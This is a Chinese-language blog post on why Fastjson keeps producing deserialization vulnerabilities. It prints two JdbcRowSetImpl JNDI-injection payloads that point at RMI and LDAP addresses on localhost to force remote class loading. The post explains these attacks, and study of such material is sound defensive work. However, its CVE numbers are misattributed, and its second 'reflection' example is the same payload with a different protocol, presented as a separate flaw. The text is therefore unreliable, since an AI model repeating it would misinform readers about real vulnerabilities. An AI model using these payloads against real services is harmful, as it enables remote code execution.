fastjson到底做错了什么?为什么会被频繁爆出漏洞?(推荐)

yizhihongxing

Fastjson 是一个非常流行的 Java 序列化/反序列化工具,但是最近几年一直被频繁曝出漏洞,造成了很大的安全隐患。那么 Fastjson 到底做错了什么?为什么会被频繁爆出漏洞?

背景介绍

Fastjson 是由阿里巴巴集团的工程师封装的一个 Java 序列化/反序列化工具。由于其出色的性能和易用性,已经被广泛应用于各种 Java 项目中。但是因为其一些不合理的设计和实现方式,导致 Fastjson 存在很多安全问题。

Fastjson 存在的安全问题

反序列化漏洞

Fastjson 存在大量的反序列化漏洞,这些漏洞多数是由于 Fastjson 对外部输入没有进行足够的校验和过滤。攻击者可以构造恶意数据,使得 Fastjson 在反序列化时执行一些有害的操作,比如:

  • RCE:攻击者可以通过构造特殊的数据结构,使得 Fastjson 被反序列化后执行恶意代码。
  • DoS:攻击者可以构造特殊的数据结构,使得 Fastjson 被反序列化后占用过多的 CPU 和内存资源,导致系统无法正常运行。
  • 数据泄露:攻击者可以构造特殊的数据结构,使得 Fastjson 被反序列化后获取系统中的敏感数据,比如密码、秘钥等。

反射调用漏洞

Fastjson 使用反射机制调用 Java 类的方法,攻击者可以通过构造恶意数据,触发 Fastjson 反射调用某个类的敏感方法,比如:

  • RCE:攻击者可以通过构造特殊的数据结构,使得 Fastjson 在反序列化时调用某个类的敏感方法,比如 Runtime.exec(),从而实现远程代码执行。
  • 数据泄露:攻击者可以通过构造特殊的数据结构,触发 Fastjson 反射调用某个类的获取敏感数据的方法,比如获取系统属性、Java 版本信息等。

Fastjson 漏洞示例

CVE-2017-18356

这是一个 Fastjson 反序列化漏洞,攻击者可以通过构造恶意 JSON 数据,使得 Fastjson 在反序列化时执行恶意代码。例如:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parse(payload);

在上面的代码中,攻击者构造了一个恶意 JSON 数据,指定 @type 属性为 com.sun.rowset.JdbcRowSetImpl,同时设置了 dataSourceName 为 RMI 协议地址,将 Fastjson 在反序列化时转换成 JdbcRowSetImpl 对象,并在这个过程中利用 RMI 协议发起远程类加载攻击。

CVE-2020-10882

这是一个 Fastjson 反射调用漏洞,攻击者可以通过构造恶意 JSON 数据,触发 Fastjson 反射调用某个类的敏感方法。例如:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:8888/Exploit\",\"autoCommit\":true}";
Object obj = JSON.parse(payload);

在上面的代码中,攻击者构造了一个恶意 JSON 数据,指定 @type 属性为 com.sun.rowset.JdbcRowSetImpl,同时设置了 dataSourceName 为 LDAP 协议地址,将 Fastjson 在反序列化时转换成 JdbcRowSetImpl 对象,并在这个过程中利用 LDAP 协议发起远程类加载攻击。

总结

Fastjson 是一个很好用的 Java 序列化/反序列化工具,但是其存在大量的安全问题,导致被攻击者广泛利用。为避免 Fastjson 漏洞对系统造成危害,我们需要谨慎地使用 Fastjson,并对其输入进行足够的校验和过滤。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:fastjson到底做错了什么?为什么会被频繁爆出漏洞?(推荐) - Python技术站

(0)
上一篇 2023年5月13日
下一篇 2023年5月13日

相关文章

  • JS字符串拼接在ie中都报错的解决方法

    以下是关于“JS字符串拼接在IE中都报错的解决方法”的完整攻略: 简介 在使用JavaScript时,有时会遇到字符串拼接的问题。例如IE浏览器中,使用加号(+)进行字符串拼接时,可能会出现错误。本文将介绍如何解决JS字符串拼接IE中报错的。 问题描述 在使用JavaScript时,有时会遇到字符串拼接的问题。例如,在IE浏览器中,使用加(+)进行字符串拼接…

    http 2023年5月13日
    00
  • 100+经典Java面试题及答案解析

    以下是关于“100+经典Java面试题及答案解析”的完整攻略: 简介 Java是一种广泛使用的编程语言,因其可移植性、面向对象、全性和高性能而受欢迎。本文将介绍100+经典Java面试题及答案解析,帮助读者更好地准备Java面试。 基础 1. Java中的基本数据类型有哪些? Java中的基本数据类型包括:byte、short、int、long、float、…

    http 2023年5月13日
    00
  • 什么是HTTP Keep-Alive?

    HTTP Keep-Alive是HTTP协议的一种保持连接的机制。HTTP协议是基于请求/响应模型的,即客户端向服务器发送请求,服务器返回响应后即断开连接。而HTTP Keep-Alive的作用是使客户端和服务器建立一个持久连接,即在一次TCP连接中发送多个请求和响应,而不是每次请求都建立一个新的TCP连接,从而减少了TCP连接的建立和拆除的开销,提升了网络…

    云计算 2023年4月27日
    00
  • go 原生http web 服务跨域restful api的写法介绍

    以下是关于“Go原生HTTP Web服务跨域RESTful API的写法介绍”的完整攻略: 问题描述 在Go语言开发中,我们可能会遇跨域RESTful API的问题。这个问题通常是由于浏览器的安全策略限制导致的。下面我们将介绍如何在Go原生HTTP Web服务中实现跨域RESTful API。 解决 方法一:设置响应头部 在Go原生HTTP Web服务中,我…

    http 2023年5月13日
    00
  • HTTP的cookie机制是什么?

    HTTP的cookie机制是一种在Web服务器和客户端之间的数据交互机制,它允许Web服务器向客户端发送一个文本文件,该文本文件中包含客户端与服务器交互过程中所需要的一些信息,以使服务器能够识别客户端并保持客户端的状态,提供更好的服务。 Cookie本质上是一个文本文件,它包含着一些键值对,如以下示例所示: Set-Cookie: username=john…

    Http网络协议 2023年4月20日
    00
  • 面试必备之ajax原始请求

    以下是“面试必备之ajax原始请求”的攻略,其中包含两个示例: 面试必备之ajax原始请求 什么是ajax原始请求? ajax原始请求是指使用XMLHttpRequest对象发送HTTP请求的一种方式。它可以在不刷新页面的情况下向服务器发送请求,并接收服务器返回的数据。ajax原始请求可以使用GET、POST等HTTP请求方法,并且可以设置请求、请求参数等。…

    http 2023年5月13日
    00
  • linux系统下部署项目访问报404错误的解决方法

    当在Linux系统下部署项目时,有时会遇到访问报404错误的问题。这个问题通常是由于项目部署不正确或者配置错误导致的。是决这个问题的完整攻略: 解决方案 1. 检查项目部署路径 首先,需要检查项目的署路径是否正确。可以使用以下命令查看项目的部署路径: sudo systemctl status <service-name> 其中,<serv…

    http 2023年5月13日
    00
  • HTTP请求的URL中各个部分的含义是什么?

    HTTP请求的URL中各个部分的含义如下: 协议部分(Protocol):表示网页使用的协议,通常为HTTP或HTTPS,例如:http:// 或 https:// 域名部分(Domain Name):表示网页的主机名或域名,例如:www.example.com,其中www为子域名,example.com为一级域名,.com为顶级域名。 端口部分(Port …

    Http网络协议 2023年4月20日
    00
合作推广
合作推广
分享本页
返回顶部